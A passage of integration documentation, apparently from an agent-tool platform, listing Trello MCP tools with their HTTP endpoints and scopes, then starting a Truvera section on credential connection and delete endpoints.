trello_get_enterprises_by_id_organizations (read) — Get enterprises by id organizations via GET /enterprises/{id}/organizations GET /api/v1/trello/enterprises/{id}/organizations. Scopes: read. trello_get_enterprises_by_id_organizations_bulk_by_idorganizations (read) — Get enterprises by id organizations bulk by idOrganizations via GET /enterprises/{id}/organizations/bulk/{idOrganizations} GET /api/v1/trello/enterprises/{id}/organizations/bulk/{idOrganizations}. Scopes: read. trello_get_enterprises_by_id_pendingorganizations (read) — Get enterprises by id pendingOrganizations via GET /enterprises/{id}/pendingOrganizations GET /api/v1/trello/enterprises/{id}/pendingOrganizations. Scopes: read. trello_get_enterprises_by_id_signupurl (read) — Get enterprises by id signupUrl via GET /enterprises/{id}/signupUrl GET /api/v1/trello/enterprises/{id}/signupUrl. Scopes: read. trello_get_enterprises_by_id_transferrable_bulk_by_idorganizations (read) — Get enterprises by id transferrable bulk by idOrganizations via GET /enterprises/{id}/transferrable/bulk/{idOrganizations} GET /api/v1/trello/enterprises/{id}/transferrable/bulk/{idOrganizations}. Scopes: read. trello_get_enterprises_by_id_transferrable_organization_by_idorganization (read) — Get enterprises by id transferrable organization by idOrganization via GET /enterprises/{id}/transferrable/organization/{idOrganization} GET /api/v1/trello/enterprises/{id}/transferrable/organization/{idOrganization}. Scopes: read. trello_get_labels_by_id (read) — Get labels by id via GET /labels/{id} GET /api/v1/trello/labels/{id}. Scopes: read. trello_get_lists_by_id (read) — Get lists by id via GET /lists/{id} GET /api/v1/trello/lists/{id}. Scopes: read. trello_get_lists_by_id_actions (read) — Get lists by id actions via GET /lists/{id}/actions GET /api/v1/trello/lists/{id}/actions. Scopes: read. trello_get_lists_by_id_board (read) — Get lists by id board via GET /lists/{id}/board GET /api/v1/trello/lists/{id}/board. Scopes: read. trello_get_lists_by_id_cards (read) — Get lists by id cards via GET /lists/{id}/cards GET /api/v1/trello/lists/{id}/cards. Scopes: read. trello_get_members_by_id (read) — Get members by id via GET /members/{id} GET /api/v1/trello/members/{id}. Scopes: account, read. trello_get_members_by_id_actions (read) — Get members by id actions via GET /members/{id}/actions GET /api/v1/trello/members/{id}/actions. Scopes: read. trello_get_members_by_id_boardbackgrounds (read) — Get members by id boardBackgrounds via GET /members/{id}/boardBackgrounds GET /api/v1/trello/members/{id}/boardBackgrounds. Scopes: read. trello_get_members_by_id_boardbackgrounds_by_idbackground (read) — Get members by id boardBackgrounds by idBackground via GET /members/{id}/boardBackgrounds/{idBackground} GET /api/v1/trello/members/{id}/boardBackgrounds/{idBackground}. Scopes: read. trello_get_members_by_id_boards (read) — Get members by id boards via GET /members/{id}/boards GET /api/v1/trello/members/{id}/boards. Scopes: read. trello_get_members_by_id_boardsinvited (read) — Get members by id boardsInvited via GET /members/{id}/boardsInvited GET /api/v1/trello/members/{id}/boardsInvited. Scopes: read. trello_get_members_by_id_boardstars (read) — Get members by id boardStars via GET /members/{id}/boardStars GET /api/v1/trello/members/{id}/boardStars. Scopes: read. trello_get_members_by_id_boardstars_by_idstar (read) — Get members by id boardStars by idStar via GET /members/{id}/boardStars/{idStar} GET /api/v1/trello/members/{id}/boardStars/{idStar}. Scopes: read. trello_get_members_by_id_by_field (read) — Get members by id by field via GET /members/{id}/{field} GET /api/v1/trello/members/{id}/{field}. Scopes: account, read. trello_get_members_by_id_cards (read) — Get members by id cards via GET /members/{id}/cards GET /api/v1/trello/members/{id}/cards. Scopes: read. trello_get_members_by_id_customboardbackgrounds (read) — Get members by id customBoardBackgrounds via GET /members/{id}/customBoardBackgrounds GET /api/v1/trello/members/{id}/customBoardBackgrounds. Scopes: read. trello_get_members_by_id_customboardbackgrounds_by_idbackground (read) — Get members by id customBoardBackgrounds by idBackground via GET /members/{id}/customBoardBackgrounds/{idBackground} GET /api/v1/trello/members/{id}/customBoardBackgrounds/{idBackground}. Scopes: read. trello_get_members_by_id_customemoji (read) — Get members by id customEmoji via GET /members/{id}/customEmoji GET /api/v1/trello/members/{id}/customEmoji. Scopes: read. trello_get_members_by_id_customemoji_by_idemoji (read) — Get members by id customEmoji by idEmoji via GET /members/{id}/customEmoji/{idEmoji} GET /api/v1/trello/members/{id}/customEmoji/{idEmoji}. Scopes: read. trello_get_members_by_id_customstickers (read) — Get members by id customStickers via GET /members/{id}/customStickers GET /api/v1/trello/members/{id}/customStickers. Scopes: read. trello_get_members_by_id_customstickers_by_idsticker (read) — Get members by id customStickers by idSticker via GET /members/{id}/customStickers/{idSticker} GET /api/v1/trello/members/{id}/customStickers/{idSticker}. Scopes: read. trello_get_members_by_id_notifications (read) — Get members by id notifications via GET /members/{id}/notifications GET /api/v1/trello/members/{id}/notifications. Scopes: read. trello_get_members_by_id_notificationschannelsettings (read) — Get members by id notificationsChannelSettings via GET /members/{id}/notificationsChannelSettings GET /api/v1/trello/members/{id}/notificationsChannelSettings. Scopes: read. trello_get_members_by_id_notificationschannelsettings_by_channel (read) — Get members by id notificationsChannelSettings by channel via GET /members/{id}/notificationsChannelSettings/{channel} GET /api/v1/trello/members/{id}/notificationsChannelSettings/{channel}. Scopes: read. trello_get_members_by_id_organizations (read) — Get members by id organizations via GET /members/{id}/organizations GET /api/v1/trello/members/{id}/organizations. Scopes: read. trello_get_members_by_id_organizationsinvited (read) — Get members by id organizationsInvited via GET /members/{id}/organizationsInvited GET /api/v1/trello/members/{id}/organizationsInvited. Scopes: read. trello_get_members_by_id_savedsearches (read) — Get members by id savedSearches via GET /members/{id}/savedSearches GET /api/v1/trello/members/{id}/savedSearches. Scopes: read. trello_get_members_by_id_savedsearches_by_idsearch (read) — Get members by id savedSearches by idSearch via GET /members/{id}/savedSearches/{idSearch} GET /api/v1/trello/members/{id}/savedSearches/{idSearch}. Scopes: read. trello_get_members_by_id_tokens (read) — Get members by id tokens via GET /members/{id}/tokens GET /api/v1/trello/members/{id}/tokens. Scopes: read. trello_get_notifications_by_id (read) — Get notifications by id via GET /notifications/{id} GET /api/v1/trello/notifications/{id}. Scopes: read. trello_get_notifications_by_id_board (read) — Get notifications by id board via GET /notifications/{id}/board GET /api/v1/trello/notifications/{id}/board. Scopes: read. trello_get_notifications_by_id_by_field (read) — Get notifications by id by field via GET /notifications/{id}/{field} GET /api/v1/trello/notifications/{id}/{field}. Scopes: read. trello_get_notifications_by_id_card (read) — Get notifications by id card via GET /notifications/{id}/card GET /api/v1/trello/notifications/{id}/card. Scopes: read. trello_get_notifications_by_id_list (read) — Get notifications by id list via GET /notifications/{id}/list GET /api/v1/trello/notifications/{id}/list. Scopes: read. trello_get_notifications_by_id_member (read) — Get notifications by id member via GET /notifications/{id}/member GET /api/v1/trello/notifications/{id}/member. Scopes: read. trello_get_notifications_by_id_membercreator (read) — Get notifications by id memberCreator via GET /notifications/{id}/memberCreator GET /api/v1/trello/notifications/{id}/memberCreator. Scopes: read. trello_get_notifications_by_id_organization (read) — Get notifications by id organization via GET /notifications/{id}/organization GET /api/v1/trello/notifications/{id}/organization. Scopes: read. trello_get_organizations_by_id (read) — Get organizations by id via GET /organizations/{id} GET /api/v1/trello/organizations/{id}. Scopes: read. trello_get_organizations_by_id_actions (read) — Get organizations by id actions via GET /organizations/{id}/actions GET /api/v1/trello/organizations/{id}/actions. Scopes: read. trello_get_organizations_by_id_boards (read) — Get organizations by id boards via GET /organizations/{id}/boards GET /api/v1/trello/organizations/{id}/boards. Scopes: read. trello_get_organizations_by_id_by_field (read) — Get organizations by id by field via GET /organizations/{id}/{field} GET /api/v1/trello/organizations/{id}/{field}. Scopes: read. trello_get_organizations_by_id_exports (read) — Get organizations by id exports via GET /organizations/{id}/exports GET /api/v1/trello/organizations/{id}/exports. Scopes: read. trello_get_organizations_by_id_members (read) — Get organizations by id members via GET /organizations/{id}/members GET /api/v1/trello/organizations/{id}/members. Scopes: read. trello_get_organizations_by_id_memberships (read) — Get organizations by id memberships via GET /organizations/{id}/memberships GET /api/v1/trello/organizations/{id}/memberships. Scopes: read. trello_get_organizations_by_id_memberships_by_idmembership (read) — Get organizations by id memberships by idMembership via GET /organizations/{id}/memberships/{idMembership} GET /api/v1/trello/organizations/{id}/memberships/{idMembership}. Scopes: read. trello_get_organizations_by_id_newbillableguests_by_idboard (read) — Get organizations by id newBillableGuests by idBoard via GET /organizations/{id}/newBillableGuests/{idBoard} GET /api/v1/trello/organizations/{id}/newBillableGuests/{idBoard}. Scopes: read. trello_get_organizations_by_id_plugindata (read) — Get organizations by id pluginData via GET /organizations/{id}/pluginData GET /api/v1/trello/organizations/{id}/pluginData. Scopes: read. trello_get_organizations_by_id_tags (read) — Get organizations by id tags via GET /organizations/{id}/tags GET /api/v1/trello/organizations/{id}/tags. Scopes: read. trello_get_plugins_by_id (read) — Get plugins by id via GET /plugins/{id} GET /api/v1/trello/plugins/{id}. Scopes: read. trello_get_plugins_by_id_compliance_memberprivacy (read) — Get plugins by id compliance memberPrivacy via GET /plugins/{id}/compliance/memberPrivacy GET /api/v1/trello/plugins/{id}/compliance/memberPrivacy. Scopes: read. trello_get_search (read) — Get search via GET /search GET /api/v1/trello/search. Scopes: read. trello_get_search_members (read) — Get search members via GET /search/members GET /api/v1/trello/search/members. Scopes: read. trello_get_tokens_by_token (read) — Get tokens by token via GET /tokens/{token} GET /api/v1/trello/tokens/{token}. Scopes: read. trello_get_tokens_by_token_member (read) — Get tokens by token member via GET /tokens/{token}/member GET /api/v1/trello/tokens/{token}/member. Scopes: account, read. trello_get_tokens_by_token_webhooks (read) — Get tokens by token webhooks via GET /tokens/{token}/webhooks GET /api/v1/trello/tokens/{token}/webhooks. Scopes: read. trello_get_tokens_by_token_webhooks_by_idwebhook (read) — Get tokens by token webhooks by idWebhook via GET /tokens/{token}/webhooks/{idWebhook} GET /api/v1/trello/tokens/{token}/webhooks/{idWebhook}. Scopes: read. trello_get_webhooks_by_id (read) — Get webhooks by id via GET /webhooks/{id} GET /api/v1/trello/webhooks/{id}. Scopes: read. trello_get_webhooks_by_id_by_field (read) — Get webhooks by id by field via GET /webhooks/{id}/{field} GET /api/v1/trello/webhooks/{id}/{field}. Scopes: read. trello_post_actions_by_idaction_reactions (write) — Create actions by idAction reactions via POST /actions/{idAction}/reactions POST /api/v1/trello/actions/{idAction}/reactions. Scopes: write. trello_post_boards (write) — Create boards via POST /boards POST /api/v1/trello/boards. Scopes: write. trello_post_boards_by_id_boardplugins (write) — Create boards by id boardPlugins via POST /boards/{id}/boardPlugins POST /api/v1/trello/boards/{id}/boardPlugins. Scopes: write. trello_post_boards_by_id_calendarkey_generate (write) — Create boards by id calendarKey generate via POST /boards/{id}/calendarKey/generate POST /api/v1/trello/boards/{id}/calendarKey/generate. Scopes: write. trello_post_boards_by_id_emailkey_generate (write) — Create boards by id emailKey generate via POST /boards/{id}/emailKey/generate POST /api/v1/trello/boards/{id}/emailKey/generate. Scopes: write. trello_post_boards_by_id_exports (write) — Create boards by id exports via POST /boards/{id}/exports POST /api/v1/trello/boards/{id}/exports. Scopes: write. trello_post_boards_by_id_idtags (write) — Create boards by id idTags via POST /boards/{id}/idTags POST /api/v1/trello/boards/{id}/idTags. Scopes: write. trello_post_boards_by_id_labels (write) — Create boards by id labels via POST /boards/{id}/labels POST /api/v1/trello/boards/{id}/labels. Scopes: write. trello_post_boards_by_id_lists (write) — Create boards by id lists via POST /boards/{id}/lists POST /api/v1/trello/boards/{id}/lists. Scopes: write. trello_post_boards_by_id_markedasviewed (write) — Create boards by id markedAsViewed via POST /boards/{id}/markedAsViewed POST /api/v1/trello/boards/{id}/markedAsViewed. Scopes: write. trello_post_cards (write) — Create cards via POST /cards POST /api/v1/trello/cards. Scopes: write. trello_post_cards_by_id_actions_comments (write) — Create cards by id actions comments via POST /cards/{id}/actions/comments POST /api/v1/trello/cards/{id}/actions/comments. Scopes: write. trello_post_cards_by_id_attachments (write) — Create cards by id attachments via POST /cards/{id}/attachments POST /api/v1/trello/cards/{id}/attachments. Scopes: write. trello_post_cards_by_id_checklists (write) — Create cards by id checklists via POST /cards/{id}/checklists POST /api/v1/trello/cards/{id}/checklists. Scopes: write. trello_post_cards_by_id_idlabels (write) — Create cards by id idLabels via POST /cards/{id}/idLabels POST /api/v1/trello/cards/{id}/idLabels. Scopes: write. trello_post_cards_by_id_idmembers (write) — Create cards by id idMembers via POST /cards/{id}/idMembers POST /api/v1/trello/cards/{id}/idMembers. Scopes: write. trello_post_cards_by_id_labels (write) — Create cards by id labels via POST /cards/{id}/labels POST /api/v1/trello/cards/{id}/labels. Scopes: write. trello_post_cards_by_id_markassociatednotificationsread (write) — Create cards by id markAssociatedNotificationsRead via POST /cards/{id}/markAssociatedNotificationsRead POST /api/v1/trello/cards/{id}/markAssociatedNotificationsRead. Scopes: write. trello_post_cards_by_id_membersvoted (write) — Create cards by id membersVoted via POST /cards/{id}/membersVoted POST /api/v1/trello/cards/{id}/membersVoted. Scopes: write. trello_post_cards_by_id_stickers (write) — Create cards by id stickers via POST /cards/{id}/stickers POST /api/v1/trello/cards/{id}/stickers. Scopes: write. trello_post_checklists (write) — Create checklists via POST /checklists POST /api/v1/trello/checklists. Scopes: write. trello_post_checklists_by_id_checkitems (write) — Create checklists by id checkItems via POST /checklists/{id}/checkItems POST /api/v1/trello/checklists/{id}/checkItems. Scopes: write. trello_post_customfields (write) — Create customFields via POST /customFields POST /api/v1/trello/customFields. Scopes: write. trello_post_customfields_by_id_options (write) — Create customFields by id options via POST /customFields/{id}/options POST /api/v1/trello/customFields/{id}/options. Scopes: write. trello_post_enterprises_by_id_tokens (write) — Create enterprises by id tokens via POST /enterprises/{id}/tokens POST /api/v1/trello/enterprises/{id}/tokens. Scopes: write. trello_post_labels (write) — Create labels via POST /labels POST /api/v1/trello/labels. Scopes: write. trello_post_lists (write) — Create lists via POST /lists POST /api/v1/trello/lists. Scopes: write. trello_post_lists_by_id_archiveallcards (write) — Create lists by id archiveAllCards via POST /lists/{id}/archiveAllCards POST /api/v1/trello/lists/{id}/archiveAllCards. Scopes: write. trello_post_lists_by_id_moveallcards (write) — Create lists by id moveAllCards via POST /lists/{id}/moveAllCards POST /api/v1/trello/lists/{id}/moveAllCards. Scopes: write. trello_post_members_by_id_avatar (write) — Create members by id avatar via POST /members/{id}/avatar POST /api/v1/trello/members/{id}/avatar. Scopes: account, write. trello_post_members_by_id_boardbackgrounds (write) — Create members by id boardBackgrounds via POST /members/{id}/boardBackgrounds POST /api/v1/trello/members/{id}/boardBackgrounds. Scopes: account, write. trello_post_members_by_id_boardstars (write) — Create members by id boardStars via POST /members/{id}/boardStars POST /api/v1/trello/members/{id}/boardStars. Scopes: account, write. trello_post_members_by_id_customboardbackgrounds (write) — Create members by id customBoardBackgrounds via POST /members/{id}/customBoardBackgrounds POST /api/v1/trello/members/{id}/customBoardBackgrounds. Scopes: account, write. trello_post_members_by_id_customemoji (write) — Create members by id customEmoji via POST /members/{id}/customEmoji POST /api/v1/trello/members/{id}/customEmoji. Scopes: account, write. trello_post_members_by_id_customstickers (write) — Create members by id customStickers via POST /members/{id}/customStickers POST /api/v1/trello/members/{id}/customStickers. Scopes: account, write. trello_post_members_by_id_onetimemessagesdismissed (write) — Create members by id oneTimeMessagesDismissed via POST /members/{id}/oneTimeMessagesDismissed POST /api/v1/trello/members/{id}/oneTimeMessagesDismissed. Scopes: account, write. trello_post_members_by_id_savedsearches (write) — Create members by id savedSearches via POST /members/{id}/savedSearches POST /api/v1/trello/members/{id}/savedSearches. Scopes: account, write. trello_post_notifications_all_read (write) — Create notifications all read via POST /notifications/all/read POST /api/v1/trello/notifications/all/read. Scopes: account, write. trello_post_organizations (write) — Create organizations via POST /organizations POST /api/v1/trello/organizations. Scopes: write. trello_post_organizations_by_id_exports (write) — Create organizations by id exports via POST /organizations/{id}/exports POST /api/v1/trello/organizations/{id}/exports. Scopes: write. trello_post_organizations_by_id_logo (write) — Create organizations by id logo via POST /organizations/{id}/logo POST /api/v1/trello/organizations/{id}/logo. Scopes: write. trello_post_organizations_by_id_tags (write) — Create organizations by id tags via POST /organizations/{id}/tags POST /api/v1/trello/organizations/{id}/tags. Scopes: write. trello_post_plugins_by_idplugin_listing (write) — Create plugins by idPlugin listing via POST /plugins/{idPlugin}/listing POST /api/v1/trello/plugins/{idPlugin}/listing. Scopes: write. trello_post_tokens_by_token_webhooks (write) — Create tokens by token webhooks via POST /tokens/{token}/webhooks POST /api/v1/trello/tokens/{token}/webhooks. Scopes: write. trello_post_webhooks (write) — Create webhooks via POST /webhooks POST /api/v1/trello/webhooks. Scopes: write. trello_put_actions_by_id (write) — Update actions by id via PUT /actions/{id} PUT /api/v1/trello/actions/{id}. Scopes: write. trello_put_actions_by_id_text (write) — Update actions by id text via PUT /actions/{id}/text PUT /api/v1/trello/actions/{id}/text. Scopes: write. trello_put_boards_by_id (write) — Update boards by id via PUT /boards/{id} PUT /api/v1/trello/boards/{id}. Scopes: write. trello_put_boards_by_id_members (write) — Update boards by id members via PUT /boards/{id}/members PUT /api/v1/trello/boards/{id}/members. Scopes: write. trello_put_boards_by_id_members_by_idmember (write) — Update boards by id members by idMember via PUT /boards/{id}/members/{idMember} PUT /api/v1/trello/boards/{id}/members/{idMember}. Scopes: write. trello_put_boards_by_id_memberships_by_idmembership (write) — Update boards by id memberships by idMembership via PUT /boards/{id}/memberships/{idMembership} PUT /api/v1/trello/boards/{id}/memberships/{idMembership}. Scopes: write. trello_put_boards_by_id_myprefs_emailposition (write) — Update boards by id myPrefs emailPosition via PUT /boards/{id}/myPrefs/emailPosition PUT /api/v1/trello/boards/{id}/myPrefs/emailPosition. Scopes: write. trello_put_boards_by_id_myprefs_idemaillist (write) — Update boards by id myPrefs idEmailList via PUT /boards/{id}/myPrefs/idEmailList PUT /api/v1/trello/boards/{id}/myPrefs/idEmailList. Scopes: write. trello_put_boards_by_id_myprefs_showsidebar (write) — Update boards by id myPrefs showSidebar via PUT /boards/{id}/myPrefs/showSidebar PUT /api/v1/trello/boards/{id}/myPrefs/showSidebar. Scopes: write. trello_put_boards_by_id_myprefs_showsidebaractivity (write) — Update boards by id myPrefs showSidebarActivity via PUT /boards/{id}/myPrefs/showSidebarActivity PUT /api/v1/trello/boards/{id}/myPrefs/showSidebarActivity. Scopes: write. trello_put_boards_by_id_myprefs_showsidebarboardactions (write) — Update boards by id myPrefs showSidebarBoardActions via PUT /boards/{id}/myPrefs/showSidebarBoardActions PUT /api/v1/trello/boards/{id}/myPrefs/showSidebarBoardActions. Scopes: write. trello_put_boards_by_id_myprefs_showsidebarmembers (write) — Update boards by id myPrefs showSidebarMembers via PUT /boards/{id}/myPrefs/showSidebarMembers PUT /api/v1/trello/boards/{id}/myPrefs/showSidebarMembers. Scopes: write. trello_put_cards_by_id (write) — Update cards by id via PUT /cards/{id} PUT /api/v1/trello/cards/{id}. Scopes: write. trello_put_cards_by_id_actions_by_idaction_comments (write) — Update cards by id actions by idAction comments via PUT /cards/{id}/actions/{idAction}/comments PUT /api/v1/trello/cards/{id}/actions/{idAction}/comments. Scopes: write. trello_put_cards_by_id_checkitem_by_idcheckitem (write) — Update cards by id checkItem by idCheckItem via PUT /cards/{id}/checkItem/{idCheckItem} PUT /api/v1/trello/cards/{id}/checkItem/{idCheckItem}. Scopes: write. trello_put_cards_by_id_stickers_by_idsticker (write) — Update cards by id stickers by idSticker via PUT /cards/{id}/stickers/{idSticker} PUT /api/v1/trello/cards/{id}/stickers/{idSticker}. Scopes: write. trello_put_cards_by_idcard_checklist_by_idchecklist_checkitem_by_idcheckitem (write) — Update cards by idCard checklist by idChecklist checkItem by idCheckItem via PUT /cards/{idCard}/checklist/{idChecklist}/checkItem/{idCheckItem} PUT /api/v1/trello/cards/{idCard}/checklist/{idChecklist}/checkItem/{idCheckItem}. Scopes: write. trello_put_cards_by_idcard_customfield_by_idcustomfield_item (write) — Update cards by idCard customField by idCustomField item via PUT /cards/{idCard}/customField/{idCustomField}/item PUT /api/v1/trello/cards/{idCard}/customField/{idCustomField}/item. Scopes: write. trello_put_cards_by_idcard_customfields (write) — Update cards by idCard customFields via PUT /cards/{idCard}/customFields PUT /api/v1/trello/cards/{idCard}/customFields. Scopes: write. trello_put_checklists_by_id (write) — Update checklists by id via PUT /checklists/{id} PUT /api/v1/trello/checklists/{id}. Scopes: write. trello_put_checklists_by_id_by_field (write) — Update checklists by id by field via PUT /checklists/{id}/{field} PUT /api/v1/trello/checklists/{id}/{field}. Scopes: write. trello_put_customfields_by_id (write) — Update customFields by id via PUT /customFields/{id} PUT /api/v1/trello/customFields/{id}. Scopes: write. trello_put_enterprises_by_id_admins_by_idmember (write) — Update enterprises by id admins by idMember via PUT /enterprises/{id}/admins/{idMember} PUT /api/v1/trello/enterprises/{id}/admins/{idMember}. Scopes: write. trello_put_enterprises_by_id_enterprisejoinrequest_bulk (write) — Update enterprises ${id} enterpriseJoinRequest bulk via PUT /enterprises/${id}/enterpriseJoinRequest/bulk PUT /api/v1/trello/enterprises/${id}/enterpriseJoinRequest/bulk. Scopes: write. trello_put_enterprises_by_id_members_by_idmember_deactivated (write) — Update enterprises by id members by idMember deactivated via PUT /enterprises/{id}/members/{idMember}/deactivated PUT /api/v1/trello/enterprises/{id}/members/{idMember}/deactivated. Scopes: write. trello_put_enterprises_by_id_members_by_idmember_licensed (write) — Update enterprises by id members by idMember licensed via PUT /enterprises/{id}/members/{idMember}/licensed PUT /api/v1/trello/enterprises/{id}/members/{idMember}/licensed. Scopes: write. trello_put_enterprises_by_id_organizations (write) — Update enterprises by id organizations via PUT /enterprises/{id}/organizations PUT /api/v1/trello/enterprises/{id}/organizations. Scopes: write. trello_put_labels_by_id (write) — Update labels by id via PUT /labels/{id} PUT /api/v1/trello/labels/{id}. Scopes: write. trello_put_labels_by_id_by_field (write) — Update labels by id by field via PUT /labels/{id}/{field} PUT /api/v1/trello/labels/{id}/{field}. Scopes: write. trello_put_lists_by_id (write) — Update lists by id via PUT /lists/{id} PUT /api/v1/trello/lists/{id}. Scopes: write. trello_put_lists_by_id_by_field (write) — Update lists by id by field via PUT /lists/{id}/{field} PUT /api/v1/trello/lists/{id}/{field}. Scopes: write. trello_put_lists_by_id_closed (write) — Update lists by id closed via PUT /lists/{id}/closed PUT /api/v1/trello/lists/{id}/closed. Scopes: write. trello_put_lists_by_id_idboard (write) — Update lists by id idBoard via PUT /lists/{id}/idBoard PUT /api/v1/trello/lists/{id}/idBoard. Scopes: write. trello_put_members_by_id (write) — Update members by id via PUT /members/{id} PUT /api/v1/trello/members/{id}. Scopes: account, write. trello_put_members_by_id_boardbackgrounds_by_idbackground (write) — Update members by id boardBackgrounds by idBackground via PUT /members/{id}/boardBackgrounds/{idBackground} PUT /api/v1/trello/members/{id}/boardBackgrounds/{idBackground}. Scopes: account, write. trello_put_members_by_id_boardstars_by_idstar (write) — Update members by id boardStars by idStar via PUT /members/{id}/boardStars/{idStar} PUT /api/v1/trello/members/{id}/boardStars/{idStar}. Scopes: account, write. trello_put_members_by_id_customboardbackgrounds_by_idbackground (write) — Update members by id customBoardBackgrounds by idBackground via PUT /members/{id}/customBoardBackgrounds/{idBackground} PUT /api/v1/trello/members/{id}/customBoardBackgrounds/{idBackground}. Scopes: account, write. trello_put_members_by_id_notificationschannelsettings (write) — Update members by id notificationsChannelSettings via PUT /members/{id}/notificationsChannelSettings PUT /api/v1/trello/members/{id}/notificationsChannelSettings. Scopes: account, write. trello_put_members_by_id_notificationschannelsettings_by_channel (write) — Update members by id notificationsChannelSettings by channel via PUT /members/{id}/notificationsChannelSettings/{channel} PUT /api/v1/trello/members/{id}/notificationsChannelSettings/{channel}. Scopes: account, write. trello_put_members_by_id_notificationschannelsettings_by_channel_by_blockedkeys (write) — Update members by id notificationsChannelSettings by channel by blockedKeys via PUT /members/{id}/notificationsChannelSettings/{channel}/{blockedKeys} PUT /api/v1/trello/members/{id}/notificationsChannelSettings/{channel}/{blockedKeys}. Scopes: account, write. trello_put_members_by_id_savedsearches_by_idsearch (write) — Update members by id savedSearches by idSearch via PUT /members/{id}/savedSearches/{idSearch} PUT /api/v1/trello/members/{id}/savedSearches/{idSearch}. Scopes: account, write. trello_put_notifications_by_id (write) — Update notifications by id via PUT /notifications/{id} PUT /api/v1/trello/notifications/{id}. Scopes: account, write. trello_put_notifications_by_id_unread (write) — Update notifications by id unread via PUT /notifications/{id}/unread PUT /api/v1/trello/notifications/{id}/unread. Scopes: account, write. trello_put_organizations_by_id (write) — Update organizations by id via PUT /organizations/{id} PUT /api/v1/trello/organizations/{id}. Scopes: write. trello_put_organizations_by_id_members (write) — Update organizations by id members via PUT /organizations/{id}/members PUT /api/v1/trello/organizations/{id}/members. Scopes: write. trello_put_organizations_by_id_members_by_idmember (write) — Update organizations by id members by idMember via PUT /organizations/{id}/members/{idMember} PUT /api/v1/trello/organizations/{id}/members/{idMember}. Scopes: write. trello_put_organizations_by_id_members_by_idmember_deactivated (write) — Update organizations by id members by idMember deactivated via PUT /organizations/{id}/members/{idMember}/deactivated PUT /api/v1/trello/organizations/{id}/members/{idMember}/deactivated. Scopes: write. trello_put_plugins_by_id (write) — Update plugins by id via PUT /plugins/{id} PUT /api/v1/trello/plugins/{id}. Scopes: write. trello_put_plugins_by_idplugin_listings_by_idlisting (write) — Update plugins by idPlugin listings by idListing via PUT /plugins/{idPlugin}/listings/{idListing} PUT /api/v1/trello/plugins/{idPlugin}/listings/{idListing}. Scopes: write. trello_put_tokens_by_token_webhooks_by_idwebhook (write) — Update tokens by token webhooks by idWebhook via PUT /tokens/{token}/webhooks/{idWebhook} PUT /api/v1/trello/tokens/{token}/webhooks/{idWebhook}. Scopes: write. trello_put_webhooks_by_id (write) — Update webhooks by id via PUT /webhooks/{id} PUT /api/v1/trello/webhooks/{id}. Scopes: write. ================================================================================ ## Truvera URL: https://www.agenticfabriq.com/integrations/truvera Section: Integrated Tools Truvera — 154 MCP tools Provider key: truvera. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. truvera_delete_credentials_by_id (write, destructive) — Delete a Credential. Deletes all credential metadata and contents from the client. More info about [Delete Credentials](https://docs.truvera.io/developer-documentation/truvera-api/credentials) DELETE /credentials/{id} DELETE /api/v1/truvera/credentials/{id}. Scopes: api. truvera_delete_delegation_rules_by_policyid (write, destructive) — Delete Delegation Rule Set. Deletes a delegation rule set and all of its versions. DELETE /delegation-rules/{policyId} DELETE /api/v1/truvera/delegation-rules/{policyId}. Scopes: api. truvera_delete_dids_by_did (write, destructive) — Delete DID. Deletes a provided DID from the blockchain, further attempts to resolve this DID will fail. More info about [Delete DID](https://docs.truvera.io/developer-documentation/truvera-api/dids) DELETE /dids/{did} DELETE /api/v1/truvera/dids/{did}. Scopes: api. truvera_delete_keys_by_publickey (write, destructive) — Delete a key. DELETE /keys/{publicKey} DELETE /api/v1/truvera/keys/{publicKey}. Scopes: api. truvera_delete_messaging_messages_by_messageid (write, destructive) — Delete a DIDComm message. Delete a specific DIDComm message by its ID. Only messages owned by the authenticated user can be deleted. This action is irreversible. DELETE /messaging/messages/{messageId} DELETE /api/v1/truvera/messaging/messages/{messageId}. Scopes: api. truvera_delete_openid_issuers_by_id (write, destructive) — Delete OpenID issuer. Deletes the specified OpenID issuer and all associated data from the system. Use this endpoint to clean up issuers that are no longer needed. DELETE /openid/issuers/{id} DELETE /api/v1/truvera/openid/issuers/{id}. Scopes: api. truvera_delete_profiles_by_did (write, destructive) — Deletes a single profile based on the supplied value of DID. DELETE /profiles/{did} DELETE /api/v1/truvera/profiles/{did}. Scopes: api. truvera_delete_proof_requests_by_id (write, destructive) — Delete proof request. Deletes the proof request and associated data DELETE /proof-requests/{id} DELETE /api/v1/truvera/proof-requests/{id}. Scopes: api. truvera_delete_proof_templates_by_id (write, destructive) — Delete proof templates. Deletes the proof templates and associated data DELETE /proof-templates/{id} DELETE /api/v1/truvera/proof-templates/{id}. Scopes: api. truvera_delete_proof_templates_by_id_history (write, destructive) — Deletes all the history for this proof template. DELETE /proof-templates/{id}/history DELETE /api/v1/truvera/proof-templates/{id}/history. Scopes: api. truvera_delete_registries_by_id (write, destructive) — Delete Registry. A registry can be deleted, leading to all the corresponding revocation ids being deleted as well. More info about [Registry Deletion](https://docs.truvera.io/developer-documentation/truvera-api/registries#delete-registry) DELETE /registries/{id} DELETE /api/v1/truvera/registries/{id}. Scopes: api. truvera_delete_schemas_by_schemaid (write, destructive) — Delete Schema. Deletes a schema from the database DELETE /schemas/{schemaId} DELETE /api/v1/truvera/schemas/{schemaId}. Scopes: api. truvera_delete_subaccounts_by_id (write, destructive) — Deletes a single sub-account. DELETE /subaccounts/{id} DELETE /api/v1/truvera/subaccounts/{id}. Scopes: api. truvera_delete_subaccounts_by_id_keys_by_keyid (write, destructive) — Deletes a sub-account API key. DELETE /subaccounts/{id}/keys/{keyId} DELETE /api/v1/truvera/subaccounts/{id}/keys/{keyId}. Scopes: api. truvera_delete_teams_by_id_members_by_user_id (write, destructive) — Deletes a single team member. DELETE /teams/{id}/members/{user_id} DELETE /api/v1/truvera/teams/{id}/members/{user_id}. Scopes: api. truvera_delete_templates_by_id (write, destructive) — Deletes a single template based on ID provided. DELETE /templates/{id} DELETE /api/v1/truvera/templates/{id}. Scopes: api. truvera_delete_trust_registries_by_registryid (write, destructive) — Delete Trust Registry. Deletes a Trust Registry DELETE /trust-registries/{registryId} DELETE /api/v1/truvera/trust-registries/{registryId}. Scopes: api. truvera_delete_trust_registries_by_registryid_participants_by_participantid 